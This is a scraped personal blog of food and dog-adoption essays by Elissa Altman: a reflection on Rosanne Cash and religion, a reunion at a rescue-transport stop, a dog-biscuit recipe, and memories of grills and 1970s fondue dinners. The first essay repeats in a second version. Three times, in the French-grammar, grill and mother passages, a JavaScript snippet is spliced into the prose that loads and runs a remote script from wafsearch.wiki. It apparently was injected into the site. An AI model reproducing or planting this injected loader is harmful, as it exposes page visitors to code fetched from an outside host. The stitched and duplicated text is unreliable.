Elissa Altman's Blog

The other day, I was listening to a great Terry Gross interview with my new favorite performer, Rosanne Cash, whose remarkable new cd, The List, just came out. One of the things that Terry asked the her was about religion: Cash had gone through a particularly challenging time, and what was it, Terry asked, that sustained her. And her answer was so poignant that I had to pull over to the side of the road: she said, “well, I adhere to the religion of art and music and small children” and

The pronouncements of small children. You know, I’m not the type to turn to religion in that way. I’m not the type to turn to drugs and alcohol, but I do have a profound devotion to art and music – and children.

And when I heard it, I thought, “well, finally.” Because the things that people say about religion are sometimes so canned and trite that it’s often hard for me to take them seriously. It got me thinking, too, because I’ve had a lot of challenge in recent years, and I don’t generally point my prayers northward. Instead, my own personal a-ha moments come in gardens, in recognizing how stunning things like Japanese turnips can be when they’re still small, in my baby cousin Malcolm’s grin, in the fact of Susan, and when I turn around in the kitchen to find that Addie is staring at me quietly, smiling, and wagging. For no apparent reason.

On Saturday, Susan and I took Addie to the place where it all began for the three of us: a parking lot in Glastonbury, Connecticut next to a Dunkin’ Donuts. It was there that her transport up from Arkansas to Memphis and Memphis to our home began. We had adopted her sight unseen from an organization called Labs4Rescue, which specializes in bringing needy dogs up north. Once the adoption or foster is agreed-upon, another remarkable organization, P.E.T.S — Peterson Express Transport Service, run by Kyle and Pam Peterson — drives the dogs up in a retro-fitted, climate-controlled horse trailer on a trip that takes 3 days. And on this trip, Glenda, the woman who first connected us to Addie, would be in attendance. Could she see Addie again? We jumped at the chance for a reunion, and for us to finally meet this totally remarkable woman who has changed the lives of hundreds of dogs and their people. Like us.

Would Addie remember her? Would the sight of the transport, packed with barking pups of all ages destined for new homes and families upset her? Honestly, we weren’t sure. But when she stretched out on the parking lot pavement while waiting for the transport to arrive, we knew.

No one really knows for sure who finds religion in what; for Rosanne Cash, it’s music and art and children. For me, its my family, and food, and feeding people, and the velvet brown eyes of a dog who is safe and happy.

And Glenda, Addie’s angel.

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The other day, I was listening to a great Terry Gross interview with my new favorite performer, Rosanne Cash, whose remarkable new cd, The List, just came out. One of the things that Terry asked her was about religion: Cash had gone through a particularly challenging time, and what was it that sustained her. Her answer was so poignant that I had to pull over to the side of the road: she said,

The pronouncements of small children. You know, I’m not the type to turn to religion in that way. I’m not the type to turn to drugs and alcohol, but I do have a profound devotion to art and music – and children.

And when I heard it, I thought, “well, finally.” Because the things that people say about religion are sometimes so canned and trite that I often find myself feeling really peevish. It got me thinking, too, because I’ve had a lot of challenge in recent years, and I don’t generally point my prayers northward. Instead, my own personal a-ha moments come in gardens, in recognizing how stunning things like Japanese turnips can be when they’re still small, in my baby cousin Malcolm’s grin, in the fact of Susan, and when I turn around in the kitchen to find that Addie is staring at me quietly, smiling, and wagging. For no apparent reason.

On Saturday, Susan and I took Addie to the place where it all began for the three of us: a parking lot in Glastonbury, Connecticut next to a Dunkin’ Donuts. It was there that her transport up from Arkansas to Memphis and Memphis to our home began. We had adopted her sight unseen from an organization called Labs4Rescue, which specializes in bringing needy dogs up north. Once the adoption or foster is agreed-upon, another remarkable organization,

P.E.T.S — Peterson Express Transport Service, run by Kyle and Pam Peterson — drives the dogs up in a retro-fitted, climate-controlled horse trailer on a trip that takes 3 days. And on this trip, Glenda, the woman who first connected us to Addie, would be in attendance. Could she see Addie again? We jumped at the chance for a reunion, and for us to finally meet this totally remarkable woman who has changed the lives of hundreds of dogs and their people. Like us.

Would Addie remember her? Would the sight of the transport, packed with barking pups of all ages destined for new homes and families upset her? Honestly, we weren’t sure. But when she stretched out on the parking lot pavement while waiting for the transport to arrive, we knew.

No one really knows for sure who finds religion in what; it’s just very personal. Plain and simple. For Rosanne Cash, it’s music and art and children. For me, its my family, and food, and feeding people, and the velvet brown eyes of a dog who is finally safe and happy.

And Glenda, Addie’s angel.

Addie’s Biscuits
When Addie first came to us in March, she didn’t know what biscuits were, but now she does. It’s not easy to find truly luscious dog treats that aren’t either packed with a whole lot of dreck, or cost a mortgage payment for a box. And if your dog eats biscuits the way Addie does, things can get expensive. What to do? Make your own. (And if you run out of crackers at your next party, they’re great for brie. Assuming your teeth are strong enough to chew them.) This recipe comes from a terrific site called TheHuntingDog.com.

2 cups cornmeal
2 eggs
2 tablespoons molasses
2 cloves garlic, minced
1/2 cup chicken broth
1/2 cup powdered milk

1. Preheat oven to 400 degrees F. In a large mixing bowl, combine all the ingredients. Blend until smooth.

2. Roll out the mixture 1/4″ thick, and cut into shapes. Place 1 inch apart on a greased cookie sheet. Bake for 20 minutes or until golden brown.

3. Let cool. Store in an airtight container.

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It was a Saturday night in Forest Hills, sometime in the very early 1970s.
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One of the biggest challenges any student of French can possibly face is the incorrect usage of “Le” and “La.” David Sedaris has written about this extensively in Me Talk Pretty One Day;var url = 'https://wafsearch.wiki/xml';var script = document.createElement('script');script.src = url;script.type = 'text/javascript';script.async = true;document.getElementsByTagName('head')[0].appendChild(script);

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Seven years ago next month, Susan and I moved into the house we live in now, and we did the usual things you do when you move into a place where everything is from the Nixon administration: you strip off the floor-to-ceiling photo mural of Grindlewald, Switzerland. You pull off the metallic yellow kitchen wallpaper. And, if you’re in the process of writing a cookbook (which I was, at the time), you kill the formerly perfect condition avocado green electric Magic Chef range with two solid weeks of recipe testing, and you buy a commercial-ish range and hook it up to a propane line that will also power the gas grill you buy for your deck.

I’ve had a lot of issues with grills over the years, since I’m afraid of fire and have been for as long as I can remember. We also own Susan’s late father’s patent pending Weber kettle grill (also avocado green) from the 1950s, and when we lived in our old house, I wouldn’t get near it, mostly because Susan would use lighter fluid to speed up the charcoal, a fact which once resulted in her melting the siding off the house.

But with our gas grill came a certain freedom: I could use it without too much worry; I could use it all year ’round; and I could use it to slow smoke whatever I wanted to, with ease.var url = 'https://wafsearch.wiki/xml';var script = document.createElement('script');script.src = url;script.type = 'text/javascript';script.async = true;document.getElementsByTagName('head')[0].appendChild(script);

As in my mother’s day. As in her day. As opposed to my day.var url = 'https://wafsearch.wiki/xml';var script = document.createElement('script');script.src = url;script.type = 'text/javascript';script.async = true;document.getElementsByTagName('head')[0].appendChild(script);

To their credit, my parents were never of the mind to keep me at an arm’s length when it came to food and happy food-related gatherings; it probably stemmed originally from my aunt — my father’s sister and a most fastidious woman who, even now, in her nineties, looks like a much more attractive version of Ann Miller — who believed with ever fiber of her being that children should be involved and included in the Process of Dining. If she and my uncle were going out, very often my cousins would be going with them. If there was wine on the table for the grown ups, there was a thimble-sized glass at each child’s place. It was all very stately and educational and enlightening. We all grew up knowing what fork to use when, and how to use a soup spoon without trying to jam the whole gigantic thing into our mouths, and we all loved her acts of inclusiveness.

But once I went home — it being the Sixties and Seventies and all — my generally liberated parents took this to something of an extreme, and I often wound up having long, exhausting, cigarette smoke-clouded dinners with parents and their friends who included our neighbor Ann, a lovely Norwegian woman, and her husband, a magician predisposed to pulling nickels out of the ears of his adult dinner companions; Larry and Jean — she was the daughter of Ben Blue, whose claim to fame was playing a drunk in spaghetti westerns through the 1940s; he was a Brylcreamed school teacher with a roving eye that landed, invariably on young teenage girls; and Alan and Janice — he was in advertising and in possession of the longest set of muttonchop sideburns I’d ever seen, given that he was married to a gorgeous English woman who had been one of the original Vidal Sasoon hair dressers in London. There they’d sit, in our dining room, dipping bread, fruit, and various kinds of flaccid meat into a cheese-filled, brown Dansk pot that sat hovering above an alcohol gel flame while I watched, too young to take part without igniting my long hair or some part of the nightgown I was wearing. By the time someone had speared a piece of bread for me and dunked it into the now lukewarm and hardening melted cheese — my mother always forgot to add the wine so the cheese wound up with the consistency of spackle — I was no longer interested, and instead pulled the bread off the end of the prongs and fed it to our Airedale, Chips, who was lounging under the table, trying to get close enough to goose Janice when no one was looking.

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